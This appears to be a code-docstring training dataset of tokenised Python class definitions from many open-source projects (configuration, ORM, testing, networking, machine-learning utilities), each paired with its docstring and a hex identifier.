class DevelopmentConfig(Config): <NEW_LINE> <INDENT> DEBUG = True <NEW_LINE> @staticmethod <NEW_LINE> def init_app(app): <NEW_LINE> <INDENT> Config.init_app(app) <NEW_LINE> import logging <NEW_LINE> from logging.handlers import RotatingFileHandler <NEW_LINE> handler_debug = logging.handlers.RotatingFileHandler(app.config['LOG_PATH'], mode="a", maxBytes=5000000, backupCount=1, encoding="utf-8") <NEW_LINE> formatter = logging.Formatter("%(asctime)s -- %(name)s -- %(levelname)s -- %(message)s") <NEW_LINE> handler_debug.setFormatter(formatter) <NEW_LINE> app.logger.addHandler(handler_debug) <NEW_LINE> app.logger.setLevel(logging.DEBUG)
Development configuration
62598fa43539df3088ecc176
class StudySubject(): <NEW_LINE> <INDENT> def __init__(self, label="", secondaryLabel="", enrollmentDate="", subject=None, events=[]): <NEW_LINE> <INDENT> self._oid = "" <NEW_LINE> self._label = label <NEW_LINE> self._secondaryLabel = secondaryLabel <NEW_LINE> self._enrollmentDate = enrollmentDate <NEW_LINE> self._subject = subject <NEW_LINE> self._events = events <NEW_LINE> <DEDENT> @property <NEW_LINE> def oid(self): <NEW_LINE> <INDENT> return self._oid <NEW_LINE> <DEDENT> @oid.setter <NEW_LINE> def oid(self, value): <NEW_LINE> <INDENT> self._oid = value <NEW_LINE> <DEDENT> @property <NEW_LINE> def label(self): <NEW_LINE> <INDENT> return self._label <NEW_LINE> <DEDENT> @label.setter <NEW_LINE> def label(self, value): <NEW_LINE> <INDENT> self._label = value <NEW_LINE> <DEDENT> @property <NEW_LINE> def secondaryLabel(self): <NEW_LINE> <INDENT> return self._secondaryLabel <NEW_LINE> <DEDENT> @secondaryLabel.setter <NEW_LINE> def secondaryLabel(self, value): <NEW_LINE> <INDENT> self._secondaryLabel = value <NEW_LINE> <DEDENT> @property <NEW_LINE> def enrollmentDate(self): <NEW_LINE> <INDENT> return self._enrollmentDate <NEW_LINE> <DEDENT> @enrollmentDate.setter <NEW_LINE> def enrollmentDate(self, enrollmentDateValue): <NEW_LINE> <INDENT> self._enrollmentDate = enrollmentDateValue <NEW_LINE> <DEDENT> @property <NEW_LINE> def subject(self): <NEW_LINE> <INDENT> return self._subject <NEW_LINE> <DEDENT> @subject.setter <NEW_LINE> def subject(self, subjectRef): <NEW_LINE> <INDENT> self._subject = subjectRef <NEW_LINE> <DEDENT> @property <NEW_LINE> def events(self): <NEW_LINE> <INDENT> return self._events <NEW_LINE> <DEDENT> @events.setter <NEW_LINE> def events(self, eventList): <NEW_LINE> <INDENT> self._events = eventList <NEW_LINE> <DEDENT> def scheduledEventOccurrenceExists(self, query): <NEW_LINE> <INDENT> for e in self._events: <NEW_LINE> <INDENT> if e.isRepeating: <NEW_LINE> <INDENT> if (e.eventDefinitionOID == query.eventDefinitionOID and e.studyEventRepeatKey == query.studyEventRepeatKey): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> return False <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> adr = hex(id(self)).upper() <NEW_LINE> return "<StudySubject oid: %s, ssid: %s at %s>" % (self.oid, self.label, adr)
Representation of a subject which is enrolled into a Study
62598fa41f037a2d8b9e3fac
class OutputRedirector(object): <NEW_LINE> <INDENT> def __init__(self, fp): <NEW_LINE> <INDENT> self.fp = fp <NEW_LINE> <DEDENT> def write(self, s): <NEW_LINE> <INDENT> self.fp.write(s.decode("utf-8")) <NEW_LINE> <DEDENT> def writelines(self, lines): <NEW_LINE> <INDENT> self.fp.writelines(lines) <NEW_LINE> <DEDENT> def flush(self): <NEW_LINE> <INDENT> self.fp.flush()
Wrapper to redirect stdout or stderr
62598fa4627d3e7fe0e06d6e
class TaskFailedError(Exception): <NEW_LINE> <INDENT> def __init__(self, message, task_id): <NEW_LINE> <INDENT> super().__init__(message) <NEW_LINE> self.task_id = task_id
Indicates that a task finished with a result other than "success".
62598fa4d486a94d0ba2be8f
class SInt32Be(SimpleType): <NEW_LINE> <INDENT> def __init__(self, value = 0, conditional = lambda:True, optional = False, constant = False): <NEW_LINE> <INDENT> SimpleType.__init__(self, ">I", 4, True, value, conditional = conditional, optional = optional, constant = constant)
@summary: signed int with Big endian representation in stream
62598fa4ac7a0e7691f723cd
class DashboardView(View): <NEW_LINE> <INDENT> def get(self, request, *args, **kwargs): <NEW_LINE> <INDENT> if request.user in User.objects.filter(is_superuser=True): <NEW_LINE> <INDENT> scripts = UserScript.objects.all() <NEW_LINE> superuser = True <NEW_LINE> <DEDENT> elif not request.user.is_anonymous: <NEW_LINE> <INDENT> scripts = UserScript.objects.filter(author=request.user) <NEW_LINE> superuser = False <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> scripts = None <NEW_LINE> superuser = False <NEW_LINE> <DEDENT> context = { 'scripts': scripts, 'superuser': superuser } <NEW_LINE> return render(request, 'scripts/dashboard.html', context)
Информация для дашборда пользователя.
62598fa457b8e32f5250807c
class TwitpicOptionsModel(OptionsModelFolder): <NEW_LINE> <INDENT> terra_type = "Model/Options/Folder/Image/Fullscreen/Submenu/Twitpic" <NEW_LINE> title = "Upload in TwitPic" <NEW_LINE> def __init__(self, parent=None): <NEW_LINE> <INDENT> OptionsModelFolder.__init__(self, parent) <NEW_LINE> self.parent_model = parent <NEW_LINE> <DEDENT> def uploadToTwitpic(self, message): <NEW_LINE> <INDENT> currentImageItemFullScreen = self.parent_model.screen_controller.view.image_frame_cur <NEW_LINE> currentEvas = currentImageItemFullScreen.image <NEW_LINE> filepath = currentEvas.file_get() <NEW_LINE> if filepath is None: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> filename = utils.getNameFromPath(filepath[0]) <NEW_LINE> imagedata = utils.getImageDataFromPath(filepath[0]) <NEW_LINE> return twitter_manager.uploadToTwitpic(filename, imagedata, message) <NEW_LINE> <DEDENT> def uploadToTwitpicAndPostToTwitter(self, message): <NEW_LINE> <INDENT> currentImageItemFullScreen = self.parent_model.screen_controller.view.image_frame_cur <NEW_LINE> currentEvas = currentImageItemFullScreen.image <NEW_LINE> filepath = currentEvas.file_get() <NEW_LINE> if filepath is None: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> filename = utils.getNameFromPath(filepath[0]) <NEW_LINE> imagedata = utils.getImageDataFromPath(filepath[0]) <NEW_LINE> return twitter_manager.uploadToTwitpicAndPostToTwitter(filename, imagedata, message)
Options model for twitpic
62598fa497e22403b383adce
class Null(ColumnElement): <NEW_LINE> <INDENT> __visit_name__ = 'null' <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> self.type = type_api.NULLTYPE <NEW_LINE> <DEDENT> def compare(self, other): <NEW_LINE> <INDENT> return isinstance(other, Null)
Represent the NULL keyword in a SQL statement.
62598fa4236d856c2adc939c
class Version(Resource): <NEW_LINE> <INDENT> def __init__(self, options, session, raw=None): <NEW_LINE> <INDENT> Resource.__init__(self, 'version/{0}', options, session) <NEW_LINE> if raw: <NEW_LINE> <INDENT> self._parse_raw(raw) <NEW_LINE> <DEDENT> <DEDENT> def delete(self, moveFixIssuesTo=None, moveAffectedIssuesTo=None): <NEW_LINE> <INDENT> params = {} <NEW_LINE> if moveFixIssuesTo is not None: <NEW_LINE> <INDENT> params['moveFixIssuesTo'] = moveFixIssuesTo <NEW_LINE> <DEDENT> if moveAffectedIssuesTo is not None: <NEW_LINE> <INDENT> params['moveAffectedIssuesTo'] = moveAffectedIssuesTo <NEW_LINE> <DEDENT> super(Version, self).delete(params)
A version of a project.
62598fa4e64d504609df931a
class Teacher(Person): <NEW_LINE> <INDENT> def __init__(self, name, papers): <NEW_LINE> <INDENT> Person.__init__(self, name) <NEW_LINE> self.papers = papers <NEW_LINE> <DEDENT> def get_details(self): <NEW_LINE> <INDENT> return "%s teaches %s" % (self.name, ','.join(self.papers))
Returns a '''Teacher''' object, takes a list of strings (list of papers) as argument.
62598fa42ae34c7f260aafa3
class ItemPrice(AbstractModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.UnitPrice = None <NEW_LINE> self.ChargeUnit = None <NEW_LINE> self.OriginalPrice = None <NEW_LINE> self.DiscountPrice = None <NEW_LINE> self.Discount = None <NEW_LINE> self.UnitPriceDiscount = None <NEW_LINE> self.UnitPriceSecondStep = None <NEW_LINE> self.UnitPriceDiscountSecondStep = None <NEW_LINE> self.UnitPriceThirdStep = None <NEW_LINE> self.UnitPriceDiscountThirdStep = None <NEW_LINE> self.OriginalPriceThreeYear = None <NEW_LINE> self.DiscountPriceThreeYear = None <NEW_LINE> self.DiscountThreeYear = None <NEW_LINE> self.OriginalPriceFiveYear = None <NEW_LINE> self.DiscountPriceFiveYear = None <NEW_LINE> self.DiscountFiveYear = None <NEW_LINE> self.OriginalPriceOneYear = None <NEW_LINE> self.DiscountPriceOneYear = None <NEW_LINE> self.DiscountOneYear = None <NEW_LINE> <DEDENT> def _deserialize(self, params): <NEW_LINE> <INDENT> self.UnitPrice = params.get("UnitPrice") <NEW_LINE> self.ChargeUnit = params.get("ChargeUnit") <NEW_LINE> self.OriginalPrice = params.get("OriginalPrice") <NEW_LINE> self.DiscountPrice = params.get("DiscountPrice") <NEW_LINE> self.Discount = params.get("Discount") <NEW_LINE> self.UnitPriceDiscount = params.get("UnitPriceDiscount") <NEW_LINE> self.UnitPriceSecondStep = params.get("UnitPriceSecondStep") <NEW_LINE> self.UnitPriceDiscountSecondStep = params.get("UnitPriceDiscountSecondStep") <NEW_LINE> self.UnitPriceThirdStep = params.get("UnitPriceThirdStep") <NEW_LINE> self.UnitPriceDiscountThirdStep = params.get("UnitPriceDiscountThirdStep") <NEW_LINE> self.OriginalPriceThreeYear = params.get("OriginalPriceThreeYear") <NEW_LINE> self.DiscountPriceThreeYear = params.get("DiscountPriceThreeYear") <NEW_LINE> self.DiscountThreeYear = params.get("DiscountThreeYear") <NEW_LINE> self.OriginalPriceFiveYear = params.get("OriginalPriceFiveYear") <NEW_LINE> self.DiscountPriceFiveYear = params.get("DiscountPriceFiveYear") <NEW_LINE> self.DiscountFiveYear = params.get("DiscountFiveYear") <NEW_LINE> self.OriginalPriceOneYear = params.get("OriginalPriceOneYear") <NEW_LINE> self.DiscountPriceOneYear = params.get("DiscountPriceOneYear") <NEW_LINE> self.DiscountOneYear = params.get("DiscountOneYear")
描述了单项的价格信息
62598fa45fdd1c0f98e5de5a
class NoseTestSuiteRunner(BasicNoseRunner): <NEW_LINE> <INDENT> def _get_models_for_connection(self, connection): <NEW_LINE> <INDENT> tables = connection.introspection.get_table_list(connection.cursor()) <NEW_LINE> return [m for m in apps.get_models() if m._meta.db_table in tables] <NEW_LINE> <DEDENT> def setup_databases(self): <NEW_LINE> <INDENT> for alias in connections: <NEW_LINE> <INDENT> connection = connections[alias] <NEW_LINE> creation = connection.creation <NEW_LINE> test_db_name = creation._get_test_db_name() <NEW_LINE> orig_db_name = connection.settings_dict['NAME'] <NEW_LINE> connection.settings_dict['NAME'] = test_db_name <NEW_LINE> if _should_create_database(connection): <NEW_LINE> <INDENT> connection.settings_dict['NAME'] = orig_db_name <NEW_LINE> connection.close() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> cursor = connection.cursor() <NEW_LINE> style = no_style() <NEW_LINE> if uses_mysql(connection): <NEW_LINE> <INDENT> reset_statements = _mysql_reset_sequences( style, connection) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> reset_statements = connection.ops.sequence_reset_sql( style, self._get_models_for_connection(connection)) <NEW_LINE> <DEDENT> for reset_statement in reset_statements: <NEW_LINE> <INDENT> cursor.execute(reset_statement) <NEW_LINE> <DEDENT> creation.create_test_db = MethodType( _skip_create_test_db, creation, creation.__class__) <NEW_LINE> <DEDENT> <DEDENT> Command.handle = _foreign_key_ignoring_handle <NEW_LINE> return super(NoseTestSuiteRunner, self).setup_databases() <NEW_LINE> <DEDENT> def teardown_databases(self, *args, **kwargs): <NEW_LINE> <INDENT> if not _reusing_db(): <NEW_LINE> <INDENT> return super(NoseTestSuiteRunner, self).teardown_databases( *args, **kwargs)
A runner that optionally skips DB creation Monkeypatches connection.creation to let you skip creating databases if they already exist. Your tests will start up much faster. To opt into this behavior, set the environment variable ``REUSE_DB`` to something that isn't "0" or "false" (case insensitive).
62598fa4d58c6744b42dc235
class Money(quantity.Quantity): <NEW_LINE> <INDENT> resource_name = "Money" <NEW_LINE> def __init__(self, jsondict=None): <NEW_LINE> <INDENT> super(Money, self).__init__(jsondict)
An amount of money. With regard to precision, see [[X]]. There SHALL be a code if there is a value and it SHALL be an expression of currency. If system is present, it SHALL be ISO 4217 (system = "urn:std:iso:4217" - currency).
62598fa4a8370b77170f029d
class DefaultConfig: <NEW_LINE> <INDENT> PORT = 3978 <NEW_LINE> APP_ID = '14aaf862-3aae-4aac-9d63-46908c22237f' <NEW_LINE> APP_PASSWORD = client.get_secret('bot-password').value <NEW_LINE> CONNECTION_NAME = 'github-auth-conn' <NEW_LINE> TRUST_TOKEN = client.get_secret('Trust-Token-ProactiveMessages').value <NEW_LINE> FUNCTION_ENDPOINT = os.environ.get('AZURE_FUNCTION_ENDPOINT', '') <NEW_LINE> FUNCTION_KEY = client.get_secret('insert-people-function-key').value <NEW_LINE> COSMOSDB_ENDPOINT = os.environ.get('AZURE_COSMOSDB_ENDPOINT', '') <NEW_LINE> COSMOSDB_KEY = client.get_secret('wellcomehome-db-key').value <NEW_LINE> DATABASE_NAME = "WellcomeHomeDB" <NEW_LINE> PEOPLE_CONTAINER = "People" <NEW_LINE> USERS_CONTAINER = "Users" <NEW_LINE> BOT_DATABASE_NAME = "WellcomeHomeBotDB" <NEW_LINE> BOT_CONTAINER = "Items" <NEW_LINE> STORAGE_CONNECTION = os.environ.get('AZURE_STORAGE_CONNECTION', '')
Bot Configuration
62598fa47d847024c075c288
class VerifiedHTTPSConnection(six.moves.http_client.HTTPSConnection): <NEW_LINE> <INDENT> def connect(self): <NEW_LINE> <INDENT> self.connection_kwargs = {} <NEW_LINE> if hasattr(self, 'timeout'): <NEW_LINE> <INDENT> self.connection_kwargs.update(timeout = self.timeout) <NEW_LINE> <DEDENT> if hasattr(self, 'source_address'): <NEW_LINE> <INDENT> self.connection_kwargs.update(source_address = self.source_address) <NEW_LINE> <DEDENT> sock = socket.create_connection((self.host, self.port), **self.connection_kwargs) <NEW_LINE> if getattr(self, '_tunnel_host', None): <NEW_LINE> <INDENT> self.sock = sock <NEW_LINE> self._tunnel() <NEW_LINE> <DEDENT> assert os.path.isfile(ssl_crypto.conf.ssl_certificates) <NEW_LINE> cert_path = ssl_crypto.conf.ssl_certificates <NEW_LINE> self.sock = ssl.wrap_socket(sock, self.key_file, self.cert_file, cert_reqs=ssl.CERT_REQUIRED, ca_certs=cert_path) <NEW_LINE> match_hostname(self.sock.getpeercert(), self.host)
A connection that wraps connections with ssl certificate verification. https://github.com/pypa/pip/blob/d0fa66ecc03ab20b7411b35f7c7b423f31f77761/pip/download.py#L72
62598fa40c0af96317c56245
class BatchSizeScheduler(MTCallback): <NEW_LINE> <INDENT> def __init__(self, scheduler: Callable, **data_loader_kwargs): <NEW_LINE> <INDENT> super(BatchSizeScheduler, self).__init__() <NEW_LINE> self.event = Event.ON_EPOCH_BEGIN <NEW_LINE> self.scheduler = scheduler <NEW_LINE> self.data_loader_kwargs = data_loader_kwargs <NEW_LINE> <DEDENT> def __call__(self): <NEW_LINE> <INDENT> if self.scheduler is None: <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> batch_size = self.trainer.data_loader_tr.batch_size <NEW_LINE> epoch = self.trainer.current_epoch <NEW_LINE> loss = self.trainer.last_batch_loss <NEW_LINE> new_batch_size = self.scheduler(batch_size, epoch, loss) <NEW_LINE> if new_batch_size != batch_size: <NEW_LINE> <INDENT> dataset = self.trainer.data_loader_tr.dataset <NEW_LINE> self.trainer.data_loader_tr = torch.utils.data.DataLoader(dataset, new_batch_size, **self.data_loader_kwargs)
This callback reinstantiates a DataLoader object at the beginning of each epoch based on the batch size scheduling function provided by the user. The scheduling function signature is: def scheduler(batch_size, epoch, loss) where 'loss' is the loss of the last processed batch in the previous epoch. The scheduling function should return the new batch size. If new batch size == batch_size then BatchSizeScheduler keeps using the old DataLoader.
62598fa476e4537e8c3ef46f
class BarsInPeriodProvider(object): <NEW_LINE> <INDENT> def __init__(self, ticker: typing.Union[list, str], interval_len: int, interval_type: str, bgn_prd: datetime.datetime, delta: relativedelta, overlap: relativedelta = None, bgn_flt: datetime.time = None, end_flt: datetime.time = None, ascend: bool = True, max_ticks: int = None, timeout: int = None): <NEW_LINE> <INDENT> self._periods = slice_periods(bgn_prd=bgn_prd, delta=delta, ascend=ascend, overlap=overlap) <NEW_LINE> self.interval_len = interval_len <NEW_LINE> self.interval_type = interval_type <NEW_LINE> self.bgn_flt = bgn_flt <NEW_LINE> self.end_flt = end_flt <NEW_LINE> self.ticker = ticker <NEW_LINE> self.max_ticks = max_ticks <NEW_LINE> self.timeout = timeout <NEW_LINE> self.ascend = ascend <NEW_LINE> <DEDENT> def __iter__(self): <NEW_LINE> <INDENT> self._deltas = -1 <NEW_LINE> return self <NEW_LINE> <DEDENT> def __next__(self): <NEW_LINE> <INDENT> self._deltas += 1 <NEW_LINE> if self._deltas < len(self._periods): <NEW_LINE> <INDENT> return BarsInPeriodFilter(ticker=self.ticker, interval_len=self.interval_len, interval_type=self.interval_type, bgn_prd=self._periods[self._deltas][0], end_prd=self._periods[self._deltas][1], bgn_flt=self.bgn_flt, end_flt=self.end_flt, ascend=self.ascend, max_ticks=self.max_ticks, timeout=self.timeout) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise StopIteration
Generate a sequence of BarsInPeriod filters to obtain market history
62598fa43539df3088ecc177
class TreeNode(): <NEW_LINE> <INDENT> def __init__(self, parent = None, children = None, label = None): <NEW_LINE> <INDENT> if children is None: <NEW_LINE> <INDENT> children = [] <NEW_LINE> <DEDENT> self.parent = parent <NEW_LINE> self.children = children <NEW_LINE> self.label = label <NEW_LINE> self.number_of_descendants = 1 <NEW_LINE> <DEDENT> def compute_number_of_descendants(self): <NEW_LINE> <INDENT> n = 1 <NEW_LINE> for child in self.children: <NEW_LINE> <INDENT> n += child.compute_number_of_descendants() <NEW_LINE> <DEDENT> self.number_of_descendants = n <NEW_LINE> return n <NEW_LINE> <DEDENT> def compute_depth_of_self_and_children(self): <NEW_LINE> <INDENT> if self.parent is None: <NEW_LINE> <INDENT> self.depth = 1 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.depth = self.parent.depth + 1 <NEW_LINE> <DEDENT> for child in self.children: <NEW_LINE> <INDENT> child.compute_depth_of_self_and_children() <NEW_LINE> <DEDENT> <DEDENT> def append_child(self, child): <NEW_LINE> <INDENT> if child in self.children: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> self.children.append(child) <NEW_LINE> child.parent = self
A class to represent each node in the trees used by :func:`_realizer` and :func:`_compute_coordinates` when finding a planar geometric embedding in the grid. Each tree node is doubly linked to its parent and children. INPUT: - ``parent`` -- the parent TreeNode of ``self`` - ``children`` -- a list of TreeNode children of ``self`` - ``label`` -- the associated realizer vertex label EXAMPLES:: sage: from sage.graphs.schnyder import TreeNode sage: tn = TreeNode(label=5) sage: tn2 = TreeNode(label=2,parent=tn) sage: tn3 = TreeNode(label=3) sage: tn.append_child(tn3) sage: tn.compute_number_of_descendants() 2 sage: tn.number_of_descendants 2 sage: tn3.number_of_descendants 1 sage: tn.compute_depth_of_self_and_children() sage: tn3.depth 2
62598fa48da39b475be030a4
class Control(object): <NEW_LINE> <INDENT> SP = u" " <NEW_LINE> NUL = u"\u0000" <NEW_LINE> BEL = u"\u0007" <NEW_LINE> BS = u"\u0008" <NEW_LINE> HT = u"\u0009" <NEW_LINE> LF = u"\n" <NEW_LINE> VT = u"\u000b" <NEW_LINE> FF = u"\u000c" <NEW_LINE> CR = u"\r" <NEW_LINE> SO = u"\u000e" <NEW_LINE> SI = u"\u000f" <NEW_LINE> CAN = u"\u0018" <NEW_LINE> SUB = u"\u001a" <NEW_LINE> ESC = u"\u001b" <NEW_LINE> DEL = u"\u007f" <NEW_LINE> CSI = u"\u009b"
pyte.control ~~~~~~~~~~~~ This module defines simple control sequences, recognized by :class:`~pyte.streams.Stream`, the set of codes here is for ``TERM=linux`` which is a superset of VT102. :copyright: (c) 2011-2013 by Selectel, see AUTHORS for details. :license: LGPL, see LICENSE for more details.
62598fa43317a56b869be4ab
class FooClass: <NEW_LINE> <INDENT> pass
Class documentation
62598fa432920d7e50bc5f1a
class CommentSortMenu(SortMenu): <NEW_LINE> <INDENT> default = 'confidence' <NEW_LINE> options = ('confidence', 'top', 'new', 'hot', 'controversial', 'old', 'random') <NEW_LINE> hidden_options = ('random',) <NEW_LINE> use_post = True
Sort menu for comments pages
62598fa4d6c5a102081e200a
class SelectorCV(ModelSelector): <NEW_LINE> <INDENT> def select(self): <NEW_LINE> <INDENT> warnings.filterwarnings("ignore", category=DeprecationWarning) <NEW_LINE> max_avg = 0 <NEW_LINE> n_opt = self.n_constant <NEW_LINE> split_method = KFold() <NEW_LINE> try: <NEW_LINE> <INDENT> for n in range(self.min_n_components, self.max_n_components+1): <NEW_LINE> <INDENT> sum_logL = 0 <NEW_LINE> count_fold = 0 <NEW_LINE> avg_logL = 0 <NEW_LINE> for cv_train_idx, cv_test_idx in split_method.split(self.sequences): <NEW_LINE> <INDENT> X_train, lengths_train = combine_sequences(cv_train_idx, self.sequences) <NEW_LINE> X_test, lengths_test = combine_sequences(cv_test_idx, self.sequences) <NEW_LINE> try: <NEW_LINE> <INDENT> hmm_model = GaussianHMM(n_components=n, covariance_type="diag", n_iter=1000, random_state=self.random_state, verbose=False) .fit(X_train, lengths_train) <NEW_LINE> sum_logL += hmm_model.score(X_test, lengths_test) <NEW_LINE> count_fold += 1 <NEW_LINE> <DEDENT> except: <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> <DEDENT> if count_fold: <NEW_LINE> <INDENT> avg_logL = sum_logL/count_fold <NEW_LINE> <DEDENT> if avg_logL > max_avg: <NEW_LINE> <INDENT> max_avg = avg_logL <NEW_LINE> n_opt = n <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> except: <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> return self.base_model(n_opt)
select best model based on average log Likelihood of cross-validation folds
62598fa4d7e4931a7ef3bf5f
class HasRawPredictionCol(Params): <NEW_LINE> <INDENT> rawPredictionCol: "Param[str]" = Param( Params._dummy(), "rawPredictionCol", "raw prediction (a.k.a. confidence) column name.", typeConverter=TypeConverters.toString, ) <NEW_LINE> def __init__(self) -> None: <NEW_LINE> <INDENT> super(HasRawPredictionCol, self).__init__() <NEW_LINE> self._setDefault(rawPredictionCol="rawPrediction") <NEW_LINE> <DEDENT> def getRawPredictionCol(self) -> str: <NEW_LINE> <INDENT> return self.getOrDefault(self.rawPredictionCol)
Mixin for param rawPredictionCol: raw prediction (a.k.a. confidence) column name.
62598fa445492302aabfc394
class Provider(object): <NEW_LINE> <INDENT> DUMMY = 0 <NEW_LINE> CLOUDFILES_US = 1 <NEW_LINE> CLOUDFILES_UK = 2
Defines for each of the supported providers @cvar DUMMY: Example provider @cvar CLOUDFILES_US: CloudFiles US @cvar CLOUDFILES_UK: CloudFiles UK
62598fa4be8e80087fbbef26
class AugRandomScale(DataAugmenter): <NEW_LINE> <INDENT> def __init__(self, dimensionality, num_synth, random_seed, factor_start, factor_end): <NEW_LINE> <INDENT> super(AugRandomScale, self).__init__(dimensionality, num_synth, random_seed) <NEW_LINE> self.factor_start = factor_start <NEW_LINE> self.factor_end = factor_end <NEW_LINE> <DEDENT> def generate_samples(self, pts): <NEW_LINE> <INDENT> ret = [] <NEW_LINE> orig_cols = pts.shape[1] <NEW_LINE> reshaped = pts.reshape(-1, self.dimensionality) <NEW_LINE> for i in range(self.num_synth): <NEW_LINE> <INDENT> while True: <NEW_LINE> <INDENT> rnd = [self.random.uniform(self.factor_start, self.factor_end) for i in range(self.dimensionality)] <NEW_LINE> is_good = False <NEW_LINE> for d in range(self.dimensionality): <NEW_LINE> <INDENT> is_good = is_good or rnd[d] != 1 <NEW_LINE> if is_good: <NEW_LINE> <INDENT> break <NEW_LINE> <DEDENT> <DEDENT> if is_good: <NEW_LINE> <INDENT> rnd = np.asarray(rnd, dtype=np.float32) <NEW_LINE> break <NEW_LINE> <DEDENT> <DEDENT> synth_pts = rnd * reshaped <NEW_LINE> synth_pts = synth_pts.reshape(-1, orig_cols) <NEW_LINE> ret += [synth_pts] <NEW_LINE> <DEDENT> return ret
Performs random scaling on a sample with the specified factors
62598fa4d53ae8145f918350
class AsyncMirrorGroupSyncProgressListTest(unittest.TestCase): <NEW_LINE> <INDENT> def test_async_mirror_group_sync_progress_list(self): <NEW_LINE> <INDENT> async_mirror_group_sync_progress_list_obj = AsyncMirrorGroupSyncProgressList() <NEW_LINE> self.assertNotEqual(async_mirror_group_sync_progress_list_obj, None)
NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually.
62598fa43cc13d1c6d465630
class AsyncFile(BaseSocket): <NEW_LINE> <INDENT> def __init__(self, file, mode='r', *args, **kwargs): <NEW_LINE> <INDENT> self.file = open(file, mode=mode, *args, **kwargs) <NEW_LINE> <DEDENT> @coroutine <NEW_LINE> @wraps(io.BytesIO.read) <NEW_LINE> def read(self, *args, **kwargs): <NEW_LINE> <INDENT> return threadworker(self.file.read, *args, **kwargs) <NEW_LINE> <DEDENT> @coroutine <NEW_LINE> @wraps(io.BytesIO.readline) <NEW_LINE> def readline(self, *args, **kwargs): <NEW_LINE> <INDENT> return threadworker(self.file.readlines, *args, **kwargs) <NEW_LINE> <DEDENT> @coroutine <NEW_LINE> @wraps(io.BytesIO.write) <NEW_LINE> def write(self, *args, **kwargs): <NEW_LINE> <INDENT> return threadworker(self.file.writelines, *args, **kwargs) <NEW_LINE> <DEDENT> @coroutine <NEW_LINE> @wraps(io.BytesIO.writelines) <NEW_LINE> def writelines(self, *args, **kwargs): <NEW_LINE> <INDENT> return threadworker(self.file.writelines, *args, **kwargs) <NEW_LINE> <DEDENT> @coroutine <NEW_LINE> @wraps(io.BytesIO.close) <NEW_LINE> def close(self): <NEW_LINE> <INDENT> return threadworker(self.file.close) <NEW_LINE> <DEDENT> @coroutine <NEW_LINE> @wraps(io.BytesIO.flush) <NEW_LINE> def flush(self): <NEW_LINE> <INDENT> return threadworker(self.file.flush) <NEW_LINE> <DEDENT> async def __aenter__(self): <NEW_LINE> <INDENT> return self <NEW_LINE> <DEDENT> async def __aexit__(self, exc_type, exc_val, exc_tb): <NEW_LINE> <INDENT> await self.close() <NEW_LINE> if exc_val: <NEW_LINE> <INDENT> raise exc_val
A wrapped file object with all methods run in a threadpool
62598fa466673b3332c3028c
class js_function(object): <NEW_LINE> <INDENT> def __init__(self, name): <NEW_LINE> <INDENT> self.__name = name <NEW_LINE> <DEDENT> def __call__(self, *args): <NEW_LINE> <INDENT> return _js_call(self.__name, [], args, called=True) <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return self.__name
A JS function that can be "called" from python and and added to a widget by widget.add_call() so it get's called every time the widget is rendered. Used to create a callable object that can be called from your widgets to trigger actions in the browser. It's used primarily to initialize JS code programatically. Calls can be chained and parameters are automatically json-encoded into something JavaScript undersrtands. Example:: >>> jQuery = js_function('jQuery') >>> call = jQuery('#foo').datePicker({'option1': 'value1'}) >>> str(call) 'jQuery("#foo").datePicker({"option1": "value1"})' Calls are added to the widget call stack with the ``add_call`` method. If made at Widget initialization those calls will be placed in the template for every request that renders the widget. >>> import tw2.core as twc >>> class SomeWidget(twc.Widget): ... pickerOptions = twc.Param(default={}) >>> SomeWidget.add_call( ... jQuery('#%s' % SomeWidget.id).datePicker(SomeWidget.pickerOptions) ... ) More likely, we will want to dynamically make calls on every request. Here we will call add_calls inside the ``prepare`` method. >>> class SomeWidget(Widget): ... pickerOptions = twc.Param(default={}) ... def prepare(self): ... super(SomeWidget, self).prepare() ... self.add_call( ... jQuery('#%s' % d.id).datePicker(d.pickerOptions) ... ) This would allow to pass different options to the datePicker on every display. JS calls are rendered by the same mechanisms that render required css and js for a widget and places those calls at bodybottom so DOM elements which we might target are available. Examples: >>> call = js_function('jQuery')("a .async") >>> str(call) 'jQuery("a .async")' js_function calls can be chained: >>> call = js_function('jQuery')("a .async").foo().bar() >>> str(call) 'jQuery("a .async").foo().bar()'
62598fa42ae34c7f260aafa6
class MantelTests(TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> self.inst = Mantel() <NEW_LINE> self.mantel_results_str1 = mantel_results_str1.split('\n') <NEW_LINE> <DEDENT> def test_parse(self): <NEW_LINE> <INDENT> obs = self.inst.parse(self.mantel_results_str1) <NEW_LINE> self.assertFloatEqual(obs, (1.0, 0.01))
Tests for the Mantel class.
62598fa48e71fb1e983bb976
